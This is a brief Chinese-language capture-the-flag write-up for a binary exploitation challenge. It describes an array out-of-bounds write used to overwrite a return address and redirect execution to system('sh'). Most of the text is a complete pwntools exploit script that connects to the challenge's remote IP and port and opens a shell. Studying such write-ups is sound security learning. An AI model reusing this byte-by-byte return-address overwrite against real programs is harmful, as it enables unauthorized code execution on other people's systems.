安全检查
流程分析
经分析,很容易知道这里的数组可以进行越界来修改返回地址的值
有后门函数
漏洞利用
- 通过数组溢出修改返回值,到达后门函数
- 不过我在本地打通后,远程打得时候发现没有后门函数也就是/bin/bash not found 当时有点懵逼,并且对linux命令不太熟悉的我,想了很久没结果后,看了wp后,发现可以值截取sh即可
exp
from pwn import * def change(offest,by): p.sendafter('exit','3 ') p.sendafter('r to change:',str(offest)+' ') p.sendafter('number:',str(by)+' ') #p=process('./pwn') p=remote('220.249.52.134',53030) p.recvuntil("How many numbers you have: ") p.sendline("1") p.recvuntil("Give me your numbers ") p.sendline("1") change(0x74+0x10,0x50) change(0x75+0x10,0x84) change(0x76+0x10,0x04) change(0x77+0x10,0x08) change(0x7c+0x10,0x87) change(0x7d+0x10,0x89) change(0x7e+0x10,0x04) change(0x7f+0x10,0x08) p.recvuntil('exit') p.sendline('5') p.interactive()